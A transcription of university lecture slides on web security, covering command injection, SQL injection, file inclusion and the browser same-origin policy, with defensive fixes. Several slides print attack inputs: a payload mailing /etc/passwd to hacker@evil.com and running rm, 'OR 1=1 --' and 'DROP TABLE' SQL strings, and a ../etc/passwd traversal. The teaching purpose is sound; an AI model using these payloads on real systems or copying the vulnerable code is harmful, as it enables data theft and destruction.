Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

Transcription

1 Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

2 Web Server Threats What can happen? Compromise Defacement Gateway to attacking clients Disclosure (not mutually exclusive) And what makes the problem particularly tricky? Public access Mission creep

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16 Attacking Via HTTP " URLs: Global identifiers of network-retrievable resources Protocol Username Host Port Path Fragment Query Password 16

17 Simple Service Example Allow users to search the local phonebook for any entries that match a regular expression Invoked via URL like: So for example: vern searches phonebook for any entries with daw or vern in them (Note: web surfer doesn t enter this URL themselves; an HTML form constructs it from what they type)

18 Simple Service Example, con t Assume our server has some glue that parses URLs to extract parameters into C variables and returns stdout to the user Simple version of code to implement search: /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; sprintf(cmd, "grep %s phonebook.txt", regex); system(cmd); }

19 Simple Service Example, con t Assume our server has some glue that parses URLs to extract parameters into C variables and returns stdout to the user Simple version of code to implement search: /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); } Are we done?

20 A Digression into Breakfast Cereals 2600 Hz tone a form of inband signaling Beware allowing control information to come from data (also illustrates security-by-obscurity)

21 /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); } Problems? Instead of vern How about %20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm

22 How To Fix Command Injection? snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); regex=foo ; mail -s hacker@evil.com </etc/passwd; rm Okay, then scan regex and strip - does that work? regex=o Malley Okay, then scan regex and escape.? regex O\ Malley (not actually quite right, but ignore that) regex=foo\ ; mail regex=foo\\ ; mail (argument to grep is foo\ ) Okay, then scan regex and escape and \.? regex=foo\ ; mail regex=foo\\\ ; mail (argument to grep is foo\ ; mail )

23 Input Sanitization In principle, can prevent injection attacks by properly sanitizing input Remove inputs with meta-characters (can have collateral damage for benign inputs) Or escape any meta-characters (including escape characters!) Requires a complete model of how input subsequently processed E.g. regex=foo%27; mail E.g. regex=foo%25%32%37; mail» Double-escaping bug And/or: avoid using a feature-rich API KISS + defensive programming

24 /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */ char *envp[1]; /* no room since no env. */ int argc = 0; } argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0; if ( execve(path, argv, envp) < 0 ) command_failed(...);

25 Command Injection in the Real World

26 Command Injection in the Real World

27 Structure of Modern Web Services Browser URL / Form Web page built from database Web server command.php? arg1=x&arg2=y Database server

28 PHP: Hypertext Preprocessor Server scripting language with C-like syntax Can intermingle static HTML and code <input value=<?php echo $myvalue;?>> Can embed variables in double- strings $user = world ; echo Hello $user! ; Or $user = world ; echo Hello. $user.! ; Form data in global arrays $_GET, $_POST,

29 SQL Widely used database query language Fetch a set of records SELECT * FROM Person WHERE Username= oski Add data to the table INSERT INTO Person (Username, Balance) VALUES ( oski, 10) Modify data UPDATE Person SET Balance=42 WHERE Username= oski Query syntax (mostly) independent of vendor

30 SQL Injection Scenario Sample PHP $recipient = $_POST[ recipient ]; $sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' "; $rs = $db->executequery($sql); How can recipient cause trouble here? How can we see anyone s balance?

31 SQL Injection Scenario, con t WHERE Balance < 100 AND Username='$recipient' "; recipient = foo' OR 1=1 -- ( -- is a comment, it masks the lack of close ) Or foo'; DROP TABLE Person; --? Or change database however you wish

32 SQL Injection: Retrieving Data 1 post malicious form Victim Server Attacker 2 unintended query 3 receive valuable data Victim SQL DB

33 SQL Injection: Modifying Data 1 post malicious form Victim Server Attacker 2 unintended command 3 Database modified Victim SQL DB

34 Defenses (work-in-progress) Defenses (work in progress) Character-level taint tracking: Check that keywords, metachars are untainted. SELECT u FROM t WHERE n='bobby' SELECT u FROM t WHERE n='bobby' OR 1=1 --' Secure template languages: Template languages should automatically quote or encode substitutions appropriately. <P>Hello ${username}! Welcome back.

35 Injection via file inclusion 2. PHP code executed by server 3. Now suppose COLOR= Or: COLOR=../../../etc/passwd%00 1. Form displayed in user s browser

36 Questions?

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47 Coming Up Friday s lecture: Buffer Overflow attacks Read P&P 3.0, 3.1, 3.2 Follow the newsgroup If you are also enrolled in CS160 or CS164 and need to take the final at the alternate time, sign up via the web Due Thu Jan 28 (11:59PM): Get your class account set up Use it to submit a writeup that you have read the class web page, including (especially) policies on collaboration, Academic Dishonesty, and ethics/ legality

48 Safe to type your password? 48

49 Safe to type your password? 49

50 Safe to type your password? 50

51 Safe to type your password??????? 51

52 Safe to type your password? 52

53 Same-Origin Policy How does the browser isolate different sites? 53

54 Windows Interact 54

55 Are all interactions good? 55

56 Browser Same-Origin Policy " Different origins have limited interaction " Origin is the tuple <domain, port, protocol> Full access Limited access 56

57 Same-Origin Policy Examples " Example HTML at <iframe src=" <img src=" " Disallowed: alert(frames[0].document.body.innerhtml) alert(frames[0].location) " Allowed: alert(images[0].height) frames[0].location = " 57

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59 A Guninski Attack awglogin window.open(" "awglogin"); 59

60 What should the policy be? Child Sibling Frame Bust Descendant 60

61 Building up Web Pages from SQL <?php $result = mysql_query( "SELECT * from users where username=". $_POST['username']. " AND password=". $_POST['password']); $row = mysql_fetch_array($result)...?> <html><body> Welcome <?php print $row['username']?> </body></html>